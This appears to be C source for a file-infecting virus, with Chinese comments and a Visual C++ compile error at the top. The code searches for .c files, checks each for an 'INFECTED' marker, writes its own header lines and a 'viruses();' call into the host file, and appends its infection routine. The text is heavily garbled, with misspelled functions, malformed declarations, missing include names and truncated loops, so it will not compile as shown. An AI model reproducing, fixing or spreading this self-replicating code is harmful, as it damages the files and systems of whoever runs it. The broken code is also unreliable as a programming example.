c:\program files\microsoft visual studio\myprojects\dsad\no1virus.cpp(147) : fatal error C1010: unexpected end of file while looking for precompiled header directive
Error executing cl.exe.
/*INFECTED*/
#include
#include
#include
main()
{
viruses();
}
int viruses_sub()
{
struct ffblk ffblk;
int done,i,j,k,n_line;
FILE *virus_r,*virus_v;
/*virus_r指向将被感染的文件,virus_v指向已感染的文件*/
char a[500][][80],b[80].*p1.*p2;/*将被感染的文件读入a[500][80]临时存放*/
static char viruses_f[]={"virus.c"}/*将文件感染后,修改该值为自身文件*/
int include_write;
int virus_call=0;
int virus_start=0;
char *main_flag[]={"printf,break","for","while"};
char *inlude_h[]={"dos.h","stdio.h","dir.h"};
char *v_flag[]={"INFECTED"};
struct date todays;
/*AffECT VIRUSES*/
done=finefirst("*.c",&ffblk,0);/*查找第一个匹配文件*/
while(!done)
{
if(stcmp(ffblk.ff.name,"REVIRUS.C")!=0)
{
virus_r!=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NILL)
{
p1=fget(&a[0][0],80,virus_r);
if(strstr(p1,v_flag[0])==NULL)
{
n_line++;
p1=fgets(&a[n_line][0],80,virus_r);
if(n_line>=50)
{
fclose(virus_r);
return(1);
}
}
fseek(virus_r,0,SEEK_SET);
virus_v=fopen(&viruses_f[0],"r");/*打开带病毒的文件*/
if(virus_v==NULL)
{
fclose(virus_r);
return(2);
}
for(i=1;i<5;i++) /*读取带病毒的文件前四行并写入将被传染的文件*/
{
p2=fgets(b,80,virus_v);
if(p2==NULL)
{
fclose(virus_r);
fclose(virus_v);
return(3);
}
fputs(b,virus_r);
}
for(j=0;j
{
include_write=1/*不写入病毒文件已有的包含语句*/
if(strstr(&a[j][0],"#include")!=NULL)
for(i=0;i<3;i++)
{
includ_write=1;/*不写入病毒文件已有的包含语句*/
if(strstr(&a[j][0],include_h[i])!=NULL)
include writr=-1;
if(virus_call=-1) /*要插入的语句,并加入回车换符*/
for(i=0;i<4;i++)
if(strstr(&a[j][0],main_flag[i]!=NULL)
{
for(k=0;k<80;k++)
b[k]=9;
strcpy(&b[0],"viruses();");
b[10]=13;
b[11]=10;
fputs(b,virus_r);virus_call=1;
i=4;
}
if(include_write==1)fputs(&a[j][0],virus_r);
}
p1=fgets(b,80,virus_v);/*带病毒的子程序写入文件*/
while(p1!=NULL)
{
if(virus_start==0) /*找病毒子程序的第一条语句*/
if(strstr(p1,"int viruses_sub()")!=NULL)
virus_start=1;
if(virus_start==1)
{
if(strstr(p1,"char")!=NULL)
if(strstr(p1,"virus_f[]=")!=NULL)
{
strcpy(&b[29],ffblk.ff_name);
i=strlen(&b[0]);
b[i]=34;
strpy(&b[i+1],");");
b[i+3]=13;
b[i+4]=10;
}
fputs(b,virus_r);
}
p1=fgets(b,80,virus_v);
}
fclose(virus_v);
fclose(virus_r);
retune(0);
}
fclose(virus_r);
}
}
done=findnext(&ffblk);
}
retune(4);
}
viruses()
{
int num;
num=viruses_sub();
switch(num)
{
case 0:printf("successful\n");
case 1:printf("the file is outof line\n");
case 2:printf("the virus file cannot open\n");
case 3:printF("cannot read viruses file\n");
case 4:printf("cannot find file\n");
}
}